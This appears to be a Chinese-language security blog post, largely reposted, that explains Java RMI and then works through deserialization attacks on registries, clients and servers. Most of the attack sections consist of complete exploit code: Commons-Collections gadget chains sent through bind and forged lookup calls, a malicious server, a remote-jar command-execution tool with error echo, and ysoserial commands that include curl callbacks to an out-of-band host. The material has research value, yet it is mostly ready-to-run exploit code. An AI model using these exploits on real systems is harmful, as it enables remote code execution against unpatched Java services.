RMI(Remote Method Invocation),为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

大部分转载此文章: https://xz.aliyun.com/t/9053

RMI 的概念原理

JAVA RMI 的原理可看此文章:https://paper.seebug.org/1251/

Java RMI(Java Remote Method Invocation),是Java编程语言里一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

从客户端-服务器模型来看,客户端程序直接调用服务端,两者之间是通过JRMP( Java Remote Method Protocol)协议通信,这个协议类似于HTTP协议,规定了客户端和服务端通信要满足的规范。

在RMI中对象是通过序列化方式进行编码传输的

RMI分为三个主体部分:

  • Client-客户端:客户端调用服务端的方法
  • Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果
  • Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用,在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功

总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样

唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端

RMI客户端与服务端实现
1.服务端编写一个远程接口

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface rmi extends Remote {
public String hello() throws RemoteException;
}

这个接口需要

  • 使用public声明,否则客户端在尝试加载实现远程接口的远程对象时会出错。(如果客户端、服务端放一起没关系)
  • 同时需要继承Remote类
  • 接口的方法需要声明java.rmi.RemoteException报错

服务端实现这个远程接口

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteClass extends UnicastRemoteObject implements rmi{
public RemoteClass() throws RemoteException {
System.out.println("构造方法");
}
public String hello() throws RemoteException {
System.out.println("hello,world");
return "hello,world";
}
}

这个实现类需要

  • 实现远程接口
  • 继承UnicastRemoteObject类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法)
  • 构造函数需要抛出一个RemoteException错误
  • 实现类中使用的对象必须都可序列化,即都继承java.io.Serializable

注册远程对象

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws RemoteException {
rmi hello = new RemoteClass();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello

}
}

关于绑定的地址很多地方会rmi://ip:port/Objectname的形式,实际上看rebind源码就知道RMI:写不写都行,port如果默认是1099,不写会自动补上,其他端口必须写
那么服务端就部署好了,来看客户端

2.客户端部署

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);//获取远程主机对象
// 利用注册表的代理去查询远程注册表中名为hello的对象
RemoteClass hello = (RemoteClass) registry.lookup("hello");
// 调用远程方法
System.out.println(hello.hello());
}
}

那么先运行服务端,再运行客户端,就可以完成调用

攻击方式详情可看此文章:https://paper.seebug.org/1251/#java-rmi-

攻击注册中心

浅谈Java RMI Registry安全问题

我们与注册中心进行交互可以使用如下几种方式

1
2
3
4
5
6
7
8
list
bind
rebind
unbind
lookup
```
这几种方法位于RegistryImpl_Skel#dispatch中,如果存在readObject,则可以利用
dispatch里面对应关系如下

0->bind
1->list
2->lookup
3->rebind
4->unbind

1
2
3
4
5
6
7
8
9
10
11
12
13
list
```java
case 1:
var2.releaseInputStream();
String[] var79 = var6.list();

try {
ObjectOutput var81 = var2.getResultStream(true);
var81.writeObject(var79);
break;
} catch (IOException var75) {
throw new MarshalException("error marshalling return", var75);
}

这里没有readObject所以无法利用

bind&rebind

JDK版本在8u141之后, 这里会先去判断是否为本地绑定请求,然后再进行反序列化。

所以如果要使用bind/rebind请求来远程攻击Registry,JDK版本必须在8u141之前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
case 0:
RegistryImpl.checkAccess("Registry.bind");

try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var80);

try {
var2.getResultStream(true);
break;
} catch (IOException var76) {
throw new MarshalException("error marshalling return", var76);
}
case 3:
RegistryImpl.checkAccess("Registry.rebind");

try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var70) {
throw new UnmarshalException("error unmarshalling arguments", var70);
} finally {
var2.releaseInputStream();
}

var6.rebind(var7, var80);

try {
var2.getResultStream(true);
break;
} catch (IOException var69) {
throw new MarshalException("error marshalling return", var69);
}

当调用bind时,会用readObject读出参数名以及远程对象,此时则可以利用

当调用rebind时,会用readObject读出参数名和远程对象,这里和bind是一样的,所以都可以利用

如果服务端存在cc1相关组件漏洞,那么就可以使用反序列化攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class Client {

public static void main(String[] args) throws Exception {

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);


Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
registry.bind("test",r);

}
}

这里用的是cc1的链,所以服务端自然也需要存在cc1相关的漏洞组件才行。

重点关注:

1
2
3
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));

Remote.class.cast这里实际上是将一个代理对象转换为了Remote对象:

1
2
3
Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler)

上述代码中创建了一个代理对象,这个代理对象代理了Remote.class接口,handler为我们的handler对象。当调用这个代理对象的一切方法时,最终都会转到调用handler的invoke方法。

而handler是InvocationHandler对象,所以这里在反序列化时会调用InvocationHandler对象的invoke方法

1
2
3
4
5
6
7
8
9
10
11
……
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
……

在invoke方法里,同样会触发memberValues的get方法,此时的memberValues是proxy_map,其也是一个代理类对象,所以会继续触发proxy_map的invoke方法,后边的就是cc1的前半段内容了

unbind & lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
case 4:
RegistryImpl.checkAccess("Registry.unbind");

try {
var8 = var2.getInputStream();
var7 = (String)var8.readObject();
} catch (ClassNotFoundException | IOException var67) {
throw new UnmarshalException("error unmarshalling arguments", var67);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

try {
var2.getResultStream(true);
break;
} catch (IOException var66) {
throw new MarshalException("error marshalling return", var66);
}


case 2:
try {
var8 = var2.getInputStream();
var7 = (String)var8.readObject();
} catch (ClassNotFoundException | IOException var73) {
throw new UnmarshalException("error unmarshalling arguments", var73);
} finally {
var2.releaseInputStream();
}

var80 = var6.lookup(var7);

try {
ObjectOutput var82 = var2.getResultStream(true);
var82.writeObject(var80);
break;
} catch (IOException var72) {
throw new MarshalException("error marshalling return", var72);
}

从上述代码中我们可以发现,unbind和lookup实际上都会调用readObject来读取传递过来的参数,所以同样是可以利用的。

不过这里有一个问题,当我们调用unbind或者lookup时,只允许我们传递字符串,所以没法传递我们的恶意对象。

这个问题要解决有几种办法:

  • 伪造连接请求
  • rasp hook请求代码,修改发送数据

我用的是第一种,也是比较简单的一种,直接通过反射就能实现。

想要手动伪造请求,我们就需要去判断一下当执行lookup时,会经过怎样的流程。

在调用lookup之前,我们需要先获取客户端,通过getRegistry方法返回的是一个Registry_Stub对象。

RegistryImpl_Stub#lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var17) {
throw new MarshalException("error marshalling arguments", var17);
}

this.ref.invoke(var2);

Remote var22;
try {
ObjectInput var4 = var2.getInputStream();
var22 = (Remote)var4.readObject();
} catch (IOException var14) {
throw new UnmarshalException("error unmarshalling return", var14);
} catch (ClassNotFoundException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} finally {
this.ref.done(var2);
}

return var22;
} catch (RuntimeException var18) {
throw var18;
} catch (RemoteException var19) {
throw var19;
} catch (NotBoundException var20) {
throw var20;
} catch (Exception var21) {
throw new UnexpectedException("undeclared checked exception", var21);
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;


public class Clienthack {

public static void main(String[] args) throws Exception {

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);


Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
//
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations

Field[] fields_1 = registry.getClass().getDeclaredFields();

fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);


// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);

ObjectOutput var3 = var2.getOutputStream();

var3.writeObject(r);

ref.invoke(var2);

}
}

攻击客户端

在通信过程中,RMI与注册中心以及服务端进行了交互,我们需要对这两者做手脚,从而达到攻击客户端的目的。

注册中心攻击客户端

对于注册中心来说,我们还是从这几个方法触发:

1
2
3
4
5
bind
unbind
rebind
list
lookup

这里的每个方法,除了unbind和rebind,其他的都会返回数据给客户端,此时的数据是序列化的数据,所以客户端自然也会反序列化,那么我们只需要伪造注册中心的返回数据,就可以达到攻击客户端的效果啦。

这里yso的JRMPListener已经做好了,命令如下

1
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 12345  CommonsCollections1 "calc"

elient

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class Client {

public static void main(String[] args) throws Exception {

Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345);
registry.lookup("calc");
}
}

服务中心攻击客户端

服务端攻击客户端,大抵可以分为以下两种情景。

  • 服务端返回参数为Object对象
  • 可以使用codebase

服务端返回参数为Object对象
在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。

所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。

这里我还是以cc1为例,简单的演示一下。
User接口

1
2
3
4
5
import java.rmi.RemoteException;

public interface User extends java.rmi.Remote {
public Object getUser() throws RemoteException;
}

恶意UserImpl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class LocalUser extends UnicastRemoteObject implements User {
public String name;
public int age;

public LocalUser(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}

public Object getUser(){

InvocationHandler handler = null;
try {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);


Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象


Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);

}catch(Exception e){
e.printStackTrace();
}

return (Object)handler;
}

public String getName(){
return "["+this.name+"]";
}


public void updateName(String name){
this.name = name;
}

public void addUser(Object user) throws RemoteException {

}
}

恶意服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(8888);
registry.bind("user",liming);

System.out.println("registry is running...");

System.out.println("liming is bind in registry");

CountDownLatch latch=new CountDownLatch(1);

latch.await();
}

}

此时当客户端调用服务端绑定的远程对象的getUser方法时,将反序列化服务端传来的恶意远程对象。此时将触发Rce。

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class Client {

public static void main(String[] args) throws Exception {

Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
User user= (User) registry.lookup("user");
user.getUser();
}
}

远程加载对象

这个条件十分十分苛刻,在现实生活中基本不可能碰到。

当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。

具体可以参考这篇文章,利用条件太过于苛刻了:https://paper.seebug.org/1091/#serverrmi-server

java.security.policy这个默认是没有配置的,需要我们手动去配置。

攻击服务端

上面说了利用注册中心攻击客户端,同样的方法也可以攻击服务端,这里说一下客户端攻击服务端的方式

当服务端的远程方法存在Object参数的情况下

在上上面写了,如果服务端的某个方法,传递的参数是Object类型的参数,当服务端接收数据时,就会调用readObject,所以我们可以从这个角度入手来攻击服务端。

前提:

服务端的某个远程方法传递参数为Object
我们需要先在User接口中新增这么一个方法:

1
2
3
4
5
6
7
8
9
import java.rmi.RemoteException;

public interface User extends java.rmi.Remote {
public String getName() throws RemoteException;;
public User getUser() throws RemoteException;
public void updateName(String name) throws RemoteException;;
public void addUser(Object user) throws RemoteException;
}
`

此时多了一个addUser方法,当客户端调用这个方法时候,服务端会对其传递的参数进行反序列化。

Client Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class Client {

public static void main(String[] args) throws Exception {

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);


Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
User user = (User) registry.lookup("user");
user.addUser(handler);

}
}

远程加载对象

和上边Server打Client一样,都属于十分十分十分难利用的点。

参考:https://paper.seebug.org/1091/#serverrmi

基于报错回显的 payload

详情可看此文章:https://xz.aliyun.com/t/2223

网上流传的基于报错回显的 payload
先抛出 rmi 反序列化的exp

本地:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class RMIexploit {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.out.println(
" Usage: java -jar RMIexploit.jar ip port jarfile command");
System.out.println(
" Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar \"ls -l\"");

return;
}

String ip = args[0];
int port = Integer.parseInt(args[1]);
String remotejar = args[2];
String command = args[3];
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "exploit.ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("pwned", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

远程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package exploit;

import java.io.*;

public class ErrorBaseExec {
public static byte[] readBytes(InputStream in) throws IOException {
BufferedInputStream bufin = new BufferedInputStream(in);
int buffSize = 1024;
ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
byte[] temp = new byte[buffSize];
int size = 0;

while ((size = bufin.read(temp)) != -1) {
out.write(temp, 0, size);
}

bufin.close();

byte[] content = out.toByteArray();

return content;
}

public static void do_exec(String cmd) throws Exception {

final Process p = Runtime.getRuntime().exec(cmd);
final byte[] stderr = readBytes(p.getErrorStream());
final byte[] stdout = readBytes(p.getInputStream());
final int exitValue = p.waitFor();

if (exitValue == 0) {
throw new Exception("-----------------\r\n" + (new String(stdout)) + "-----------------\r\n");
} else {
throw new Exception("-----------------\r\n" + (new String(stderr)) + "-----------------\r\n");
}

}

public static void main(final String[] args) throws Exception {
do_exec("cmd /c dir");
}
}

其他

可看此文章:https://paper.seebug.org/1251/#rmijdk

漏洞复现

Java RMI Registry 反序列化漏洞(<=jdk8u111)

Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1).
执行如下命令编译及启动RMI Registry和服务器:

1
2
3
4
5
6
cd ./java/rmi-registry-bind-deserialization
docker-compose build
docker-compose run -e RMIIP=your-ip -p 1099:1099 rmi

//其中,your-ip是服务器IP,客户端会根据这个IP来连接服务器。
//环境启动后,RMI Registry监听在1099端口。

通过ysoserial的exploit包中的RMIRegistryExploit进行攻击

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "curl your-dnslog-server"


Java RMI Registry 反序列化漏洞(<jdk8u232_b09)

Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1).

自jdk8u121起,Registry对反序列化的类做了白名单限制

1
2
3
4
5
6
7
8
9
10
11
12
13
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}

我们需要在上面的几个白名单里面找到相应的可利用的类 具体原理见浅谈Java RMI Registry安全问题

执行如下命令编译及启动RMI Registry和服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
cd ./java/rmi-registry-bind-deserialization-bypass
docker-compose build
docker-compose run -e RMIIP=your-ip -p 1099:1099 rmi

//其中,your-ip是服务器IP,客户端会根据这个IP来连接服务器。
//环境启动后,RMI Registry监听在1099端口。
```
通过ysoserial的exploit包中的RMIRegistryExploit2或者3进行攻击
```java
// 开启JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections6 "curl http://xxxxx.burpcollaborator.net"
// 发起攻击
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit2 192.168.31.88 1099 jrmphost 8888

参考文章
